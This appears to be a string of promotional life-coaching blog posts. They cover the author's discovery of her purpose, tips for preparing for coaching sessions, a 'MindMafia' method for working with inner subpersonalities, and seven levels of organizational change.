didn't think I could be successful at it (this is common for people who discover their purpose, by the way). Be sure to check out my post on What Happens When You Ignore Your Life's Purpose? Things got worse. When I ignored my purpose, I got nervous, anxious and couldn't focus. The next few months were a nightmare. Not only did my business suffer, my relationships, my health, my self-confidence all took a beating. Then I decided that I couldn't ignore my purpose any longer, so I set off to figure out what it meant, how to be successful at it and what else did I need to know and do so that I could enjoy it, have meaning, be happy and fulfilled. I used myself as a laboratory. I tried several things that didn't work. I hired coaches and teachers and took courses and programs. I learned something from all of them, but not the "holy grail" for how to make it all work. Then one night I couldn't sleep. During the wee hours of the morning, I heard a voice say "you've got everything you need." I blinked and asked, "what?" And the voice inside my head said, "You've got everything you need. You have the skills, knowledge, strength, wisdom, passion and know-how to follow your purpose, be successful, find meaning and fulfillment and be happy. All you need to do is put it together the right way."  I sat up in bed, stunned and shaking a little. It felt right. I did know it, but it didn't exist yet. I knew my purpose, but I didn't exactly know how to make it successful. So, I added the Holistic Life Plan and I used the brain function information that I had been teaching so that I would have the right balance of neurotransmitters to biochemically set myself up for happiness. It all started to come together. Necessity was the mother of invention. And now I'm proud to be able to share the entire BrillianceQuest process with you - if you're ready for it!  

Getting the Most Out of Your Coaching Sessions

Be Prepared. Maximize Your Investment.   1. Be Prepared Set an intention for each session. Prior to your session, give thought as to what would make the biggest difference for you and the assistance and coaching you may need. Generally, sessions that are focused with a specific intention will make you feel more complete and focused. The coaching also handles whatever “shows up”, helping you stay present with the realities of your life.Prepare for each coaching session by spending 5-10 minutes reviewing your original coaching goals, recent progress and listing any new areas that you want to focus on during the upcoming session. You will work with your coach during each session to create actions to complete for the next session. These actions will help you to move towards your goal. Make sure you do what you promise and turn up prepared each time. Completing these actions may be challenging at times, but the real work happens between sessions: in your business, work and life. Not prepared? Spend the first five minutes of your coaching conversation preparing with your coach! 2. Focus on What's Most Important to You Get clear before you call your coach about what you want to focus on and what is the most important to you right now. Talk about what matters most to you. Talk about anything you want during your coaching sessions: your goals, your life, your needs, what you want to improve. Even stuff that may not appear to be all that ‘useful’ to talk about. Focus on what you need to talk about, not what you feel you ’should’ talk about. This approach will give you the most value from your sessions. 3. Do Your Homework Often, you will have homework to accelerate your progress and the change between coaching sessions. Usually, the homework can be completed in 1-3 hours. Forgetting, skipping or ignoring the homework will affect the effectiveness of your coaching. If you're having difficulty completing an assignment, please email your coach between sessions for assistance. 4. Focus on Feelings Too Focus on what you are feeling, not just on what you want to produce. Sometimes, clients feel the need to focus the coaching time on how to produce more tangible or financial results. But intangibles, such as feeling happier, more peaceful and more inspired, are equally important. 4. Be Responsible Be responsible for your own actions. This also means raising with your coach, in real time, anything that you are unhappy about within your coaching relationship. Don’t relinquish power to your coach. Coaching is a partnership and you need to be responsible for your own actions. 5. Be Committed The coaching process takes absolute commitment. To achieve anything extraordinary in business and life, you need to be willing to engage, work hard and move past obstacles and your own fears. Make sure you are ready to take on the commitment when you start your coaching sessions. Being clear about your commitment will help you get through the challenges you will face along the way. 6. Be Selfish Become incredibly selfish. Coaching is about you and what you most want. So, go ahead, and put yourself first. Yes, be selfish in the sense that you are what matters most. When you are happy and do well, others will benefit also. 7. Be Open Be open to seeing things differently. In coaching, you will be working with your goals (the ‘what’) and your strategies to reach these goals (the ‘how’) and all the time working on you (the ‘who’). Coaching becomes exciting when you re-look at some of your assumptions, ways of thinking, expectations, beliefs and approaches to success. It often is exciting to evolve and arrive at newly developed concepts. 8. Remove Obstacles and Drains Get rid of your “psychic sappers.” Coaching works because it focuses you in two areas. First, you get to stretch and take more actions than you would on your own. Secondly, you will be reducing/eliminating things that drain you, such as toleration, stressful situations, difficult relationships and recurring problems. Bring these areas to the coaching session. 9. Create Space Get more space, not just time, in your life. Coaching needs room in order to work. If you’re too busy, rushed, adrenalined, or burdened, you’ll be using your coaching sessions to push harder instead of smarter. When you begin, consider reducing your roles, install personal management systems, etc. Get simple. Simplification gives space. Space is needed to learn and evolve yourself beyond where you are today. 10. Change Your Environment To Do Some of the Work for You Strengthen your personal/business foundation. Use part of your coaching time to design the perfect environment in which to live and work. Where you live and how you live are key to your success. Hang out with people who will cheer your success, not your failure. Be willing to invest time and money in improving your environment so that you feel supported to be your best!

Is Your MindMafia Running Your Business?

Some people call it the “committee in their heads” while others call it the “boardroom” in their heads or simply the voices in their heads or on their shoulders. The reality is that there are an entire group of people – a family – residing in your psyche and they are controlling everything you do, including the way you think, feel, and often act. I call them the MindMafia because they are an underground group of “people” or voices sharing an organizational structure and code of conduct within you. There is the ego, the protector, the pusher, the child, the mother and father and a whole host of other subpersonalities that control you. And each is an important part of your make up. If you're procrastinating, it's likely because there's a voice in your head causing it. I worked with a filmmaker recently who kept procrastinating (see Procrastination Required for Filmmaker Success?) and he was beating himself up and his business was suffering because of it. We work with this part and it immediately identified itself as being responsible for his success. That was a surprise to him because it felt like it was doing the opposite - it felt like it was sabotaging him. As we progressed, we learned that it was teaching this client to pace himself so that he wouldn't burn himself out or burn through the money he had in his account. Profound shift in understanding why this part of him MindMafia was slowing him down - he was only interpreting it as procrastination. In pyschological circles, these subpersonalities have been known for years and there are various methods to attempt to identify, understand and work with these entities. Inspired by a particular method called Voice Dialogue that has been around for over 40 years, I developed the MindMafia Mapping Method as a system for identifying, understanding the roles each of these subpersonalities play, how much control they exert over you and, more importantly, a method for negotiating with each of these “people” to change their roles, if they are willing. This is extremely powerful work that can change your life in an instant, much like hypnosis. But unlike most hypnotic methods, you are completely awake and aware during the entire process. My MindMafia includes my ego, vulnerable child, magical child, baron (pusher), guardian, cynic and critic to just name a few. Who comprises your MindMafia and how are they running your business?

Why is organizational change so difficult?

Most executives and leaders want some kind of change in their businesses, but struggle with all sorts of approaches, advice or options while rarely making change stick long term. We've all been there and think change is really difficult. The truth is that most leaders don't know how change works!  Change happens on seven levels and you must work on several levels to ensure that change can happen. The levels are:
  1. Subconscious / Spirit
  2. Identity
  3. Beliefs & Values
  4. Thoughts
  5. Capabilities & Skills
  6. Behaviors
  7. Environmental
In your organization, which of these levels require the change? Are you focusing your efforts, resources and attention on the appropriate levels of change? Most organizations try to change at the behavioral level, but behaviors are built from the way we think, our beliefs and our identities. They may also be controlled by our subconscious, which, until now, has been difficult to access. (See the MindMafia Mapping Method for more information on accessing the subconscious.) So, the next time you want change, take an inventory of what must change and which levels of change are required to maximize your time and investment.  And if your identity of being a good leader the status quo in critical areas, you'll need to envision a new identity that embraces and supports the change long term. Special note: If you require change on ANY level, the levels below it must also change in some way.